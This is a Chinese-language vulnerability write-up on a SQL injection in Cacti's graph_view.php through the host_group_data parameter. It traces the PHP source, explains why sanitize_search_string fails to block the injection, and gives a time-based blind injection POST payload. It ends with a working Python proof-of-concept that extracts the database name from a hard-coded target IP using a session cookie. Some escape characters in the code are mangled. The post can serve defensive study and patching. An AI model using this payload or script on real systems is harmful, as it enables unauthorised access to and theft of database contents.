Cacti graph_view.php SQL注入漏洞

  • A+
所属分类:漏洞时代
摘要

存在问题的文件/cacti/graph_view.php:这里我们跟下function grow_right_pane_tree函数,存在于/lib/html_tree.php :
function grow_right_pane_tree($tree_id, $leaf_id, $host_group_data)
{
global $current_user, $config, $graphs_per_page, $graph_timeshifts;

$host_group_data_array = explode(‘:’, $host_group_data);

存在问题的文件/cacti/graph_view.php:

/* ================= input validation ================= */ input_validate_input_number(get_request_var_request('branch_id')); input_validate_input_number(get_request_var_request('hide')); input_validate_input_number(get_request_var_request('tree_id')); input_validate_input_number(get_request_var_request('leaf_id')); input_validate_input_number(get_request_var_request('rra_id')); input_validate_input_regex(get_request_var_request('graph_list'), '^([/,0-9]+)$'); input_validate_input_regex(get_request_var_request('graph_add'), '^([/,0-9]+)$'); input_validate_input_regex(get_request_var_request('graph_remove'), '^([/,0-9]+)$'); input_validate_input_regex(get_request_var_request('nodeid'), '^([_a-z0-9]+)$'); /* ==================================================== */ ... switch ($_REQUEST['action']) { case 'tree_content':     validate_tree_vars(); // attesion here ...         grow_right_pane_tree((isset($_REQUEST['tree_id']) ? $_REQUEST['tree_id'] : 0), (isset($_REQUEST['leaf_id']) ? $_REQUEST['leaf_id'] : 0), (isset($_REQUEST['host_group_data'])          ? urldecode($_REQUEST['host_group_data']) : 0)); } 

这里我们跟下function grow_right_pane_tree函数,存在于/lib/html_tree.php :
function grow_right_pane_tree($tree_id, $leaf_id, $host_group_data)
{
global $current_user, $config, $graphs_per_page, $graph_timeshifts;
...
$host_group_data_array = explode(':', $host_group_data);

if ($host_group_data_array[0] == 'graph_template') {
$host_group_data_name = '<strong>Graph Template:</strong> ' . db_fetch_cell('select name from graph_templates where id=' . $host_group_data_array[1]); //这里很像是可以产生注入的地方
$graph_template_id = $host_group_data_array[1];
}
...
}
这看起来好像是可以产生注入的地方,但是validate_tree_vars()是一个变态的过滤函数

function validate_tree_vars() {     /* ================= input validation ================= */     input_validate_input_number(get_request_var_request('graphs'));     input_validate_input_number(get_request_var_request('columns'));     input_validate_input_number(get_request_var_request('page'));     input_validate_input_number(get_request_var_request('tree_id'));     input_validate_input_number(get_request_var_request('leaf_id'));     /* ==================================================== */      /* clean up search string */     if (isset($_REQUEST['filter'])) {         $_REQUEST['filter'] = sanitize_search_string(get_request_var_request('filter'));     }      /* clean up search string */     if (isset($_REQUEST['thumbnails'])) {         $_REQUEST['thumbnails'] = sanitize_search_string(get_request_var_request('thumbnails'));     }      /* clean up host_group_data string */     if (isset($_REQUEST['host_group_data'])) {         $_REQUEST['host_group_data'] = sanitize_search_string(get_request_var_request('host_group_data'));

继续跟踪函数sanitize_search_string,在/lib/functions.php:

function sanitize_search_string($string) {     static $drop_char_match = array('^', '$', '<', '>', '`', '/'', '"', '|', ',', '?', '+', '[', ']', '{', '}', '#', ';', '!', '=', '*');     static $drop_char_replace = array(' ', ' ', ' ', ' ', '', '', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ');      /* Replace line endings by a space */     $string = preg_replace('/[/n/r]/is', ' ', $string);      /* HTML entities like   */     $string = preg_replace('//b&[a-z]+;/b/', ' ', $string);      /* Remove URL's */     $string = preg_replace('//b[a-z0-9]+:////[a-z0-9/./-]+(//[a-z0-9/?/.%_/-/+=&//]+)?/', ' ', $string);      /* Filter out strange characters like ^, $, &, change "it's" to "its" */     for($i = 0; $i < count($drop_char_match); $i++) {         $string = str_replace($drop_char_match[$i], $drop_char_replace[$i], $string);     }      return $string; } 

这貌似过滤的很严格,但是可以利用一些mysql的特性去绕过.让sql注入存活过来
首先登陆cacti
然后去请求http://target/cacti/graph_view.php
POST发送

Data: ____csrf_magic=sid:b0349195c55bddec2f2be859e0f394539ea4569a,1458781575&host_group_data=graph_template:1 union select case when ord(substring((select version()) from 1 for 1)) between 53 and 53 then sleep(5) else 0 end

如果mysql成功延时5秒,那么version()第一个是5

写个poc来验证下

#!/usr/bin/python # -*- coding: UTF-8 -*- import httplib import time import string import sys import random import urllib import math  headers = {     'Content-Type': 'application/x-www-form-urlencoded',     'Cookie':     'cacti_zoom=zoomMode%3Dquick%2CzoomOutPositioning%3Dcenter%2CzoomOutFactor%3D2%2CzoomMarkers%3Dtrue%2CzoomTimestamps%3Dauto%2Czoom3rdMouseButton%3Dfalse; Cacti=7a3e072f5ab62febf94fbedda5128fd0' }  payloads = '[email protected]_.' print 'Starting to retrive MySQL DB:'  db = '' user = ''  for i in range(1, 6):      for payload in payloads:         s = "__csrf_magic=sid:c766dcdb84bc21215af88d112bc9c4f2edc517b4,1458794525&host_group_data=graph_template:1 union select case when ord(substring((select database()) from %s for %s)) between %s and %s then sleep(5) else 0 end" % (             i, i, ord(payload), ord(payload))          conn = httplib.HTTPConnection('133.130.98.98', timeout=60)          conn.request(method='POST',                      url='/cacti/graph_view.php?action=tree_content',                      body=s,                      headers=headers)          start_time = time.time()          conn.getresponse()          conn.close()          print '.',          if time.time() - start_time > 5.0:              db += payload              print '/n/n[In progress]', db,              break  print '/n/n[Done] Current database is %s ' % (db)

Cacti graph_view.php SQL注入漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: